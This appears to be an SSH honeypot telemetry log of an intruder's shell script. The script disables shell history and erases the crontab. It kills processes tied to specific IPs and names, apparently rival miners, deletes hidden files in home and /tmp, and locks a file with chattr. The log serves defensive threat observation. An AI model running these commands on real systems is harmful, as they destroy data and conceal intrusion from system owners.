sshoney · ssh honeypot telemetry

Client

Credentials attempted

Transcript

17:50:46 $ #!/bin/bash
17:50:46 $ 
17:50:46 $ unset HISTFILE ; unset HISTSIZE
17:50:47 $ 
17:50:47 $ crontab -r
         crontab: no crontab for ubuntu  (602ms)
17:50:47 $ kill -9 `netstat -anp | grep 45.9.148 | awk '{print $7}' | cut -f 1 -d '/'`
         kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]  (882ms)
17:50:48 $ kill -9 `netstat -anp | grep 45.9.148.117 | awk '{print $7}' | cut -f 1 -d '/'`
         kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]  (787ms)
17:50:49 $ kill -9 `ps -ef | grep ps | grep -iv ef | grep -iv grep | awk '{print $2}'`
         kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]  (801ms)
17:50:50 $ kill -9 `ps -ef | grep "httpd  3 -f"  | grep -iv grep | awk '{print $2}'`
         kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]  (627ms)
17:50:50 $ kill -9 `ps -ef | grep "sshd -t" | grep -iv grep | awk '{print $2}'`
         kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]  (855ms)
17:50:51 $ kill -9 `ps -ef | grep lyo | grep -iv grep | awk '{print $2}'`
         kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]  (598ms)
17:50:52 $ cd ~ ; rm -fr .configrc ; touch .configrc ; rm -fr /tmp/.X* ; rm -fr /tmp/.x*
17:50:53 $ rm -fr .local ; touch .local
17:50:53 $ 
17:50:53 $ rm -fr /go/cx ; killall cx
         killall: cx: no process found  (541ms)
17:50:54 $ pkill cx
17:50:54 $ kill -9 `ps -ef | grep myfile | grep -iv grep | awk '{print $2}'`
17:50:55 $ 
17:50:55 $ 
17:50:55 $ mv /usr/local/bin/Challenge /usr/local/bin/Challenge1
17:50:55 $ rm -fr /usr/local/bin/Challenge ; mkdir /usr/local/bin/Challenge
17:50:56 $ killall Challenge
         killall: Challenge: no process found  (381ms)
17:50:56 $ 
17:50:56 $ rm -fr /var/tmp/.wintsk ; touch /var/tmp/.wintsk ; chattr +ai /var/tmp/.wintsk
17:50:57 $ kill -9 `netstat -anp | grep 46.4.23.103 |  awk '{print $7}' | cut -f 1 -d '/'`
17:50:57 $ 
17:50:57 $ netstat -an | grep '212.227.161.191' | grep -i estab
17:50:58 $ 
17:50:58 $ if [ $? = 0 ]
17:50:59 $ then
         /bin/bash: -c: line 2: syntax error: unexpected end of file  (585ms)
17:50:59 $ echo Already running
         Already running
17:50:59 $ exit
         logout